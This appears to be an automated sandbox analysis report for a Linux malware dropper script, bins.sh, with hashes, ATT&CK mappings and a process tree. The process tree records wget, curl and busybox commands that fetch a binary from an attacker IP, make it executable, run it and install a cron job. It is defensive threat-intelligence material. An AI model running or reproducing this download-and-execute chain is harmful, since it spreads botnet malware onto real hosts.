c79ab0c501bb9f67602ded8b5f2eefe6ed347421585d3507580d5e70f0f0db46

General

Target

bins.sh
Size

10KB
MD5

747b8345f3612d35549d1bab11e30196
SHA1

8b239baf781200145912fbcc64c46168d7f09fe2
SHA256

c79ab0c501bb9f67602ded8b5f2eefe6ed347421585d3507580d5e70f0f0db46
SHA512

b6fbe756307aa4c57bbb192804f6e517c63ef03939bad331e1304c8b6ff2c0e82c5b16916533d15c62696f04f2dbb1e0535c7ed6403ac2b6478d36997edce994
SSDEEP

96:PRJkI8scWD3b9eGyBNVGWbyT9Cjt9tokDAGRJSI8pOtuBNVGW1QD3b9eGX9N0TVV:PRJkScWD3b9eGxRC5RJ7L3b9eGA

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2174) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

680 chmod
Executes dropped EXE 1 IoCs

Processes:

rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

ioc pid process

/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db 682 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
Renames itself 1 IoCs

Processes:

rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

pid process

683 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.0wAEJB crontab
Enumerates running processes
Discovers information about currently running processes on the system
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curl

description ioc process

File opened for reading /proc/cpuinfo curl

pid	process
680	chmod

ioc	pid	process
/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	682	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

pid	process
683	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.0wAEJB	crontab

description	ioc	process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

description	ioc	process
File opened for reading	/proc/836/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/905/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/917/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/832/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/853/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/139/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/142/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/220/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/273/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/765/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/826/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/990/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/17/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/635/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/947/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/960/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/997/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1055/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1033/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/8/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/883/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/890/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/924/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/995/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1031/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/272/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/752/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/975/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1020/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/875/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/987/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/41/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/709/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/745/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/760/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/821/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/867/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1070/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/851/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/852/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/889/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/945/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1008/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1014/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1066/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/108/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/739/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/791/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/879/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/886/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/959/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/753/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/954/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/956/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/986/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1005/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/767/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/779/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/910/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1069/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/884/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/907/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/983/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
File opened for reading	/proc/1024/cmdline	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wget

pid process

707 wget

pid	process
707	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	wget
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	curl
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:643
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:645
- /usr/bin/wget
  wget http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Writes file to tmp directory
  PID:647
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:673
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod 777 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  ./rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:682
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:685
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:686
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:688
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:689
- /bin/rm
  rm rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  PID:704
- /usr/bin/wget
  wget http://216.126.231.240/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  2⤵
  - System Network Configuration Discovery
  PID:707

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Credential Access

Discovery

Network Service Discovery

2

T1046

System Network Configuration Discovery

1

T1016

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.0wAEJB

Filesize
210B

MD5
5d08140afc4cdd9b10bb69889b4f0f87

SHA1
13dc92cccadf6dd5f352bd417cd7b20739084277

SHA256
ba910712b9c92b35d2c3af407406060d38c70ed482b8b1ef5393d613c0be4097

SHA512
e33db6c8ee185af5fe038ae6475790a5b83089f3e52e7034b671a575e2cbd8d781a741a02ac641872e44459e041ed69536b7241fc8c9bc4e980e154abff38e23

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads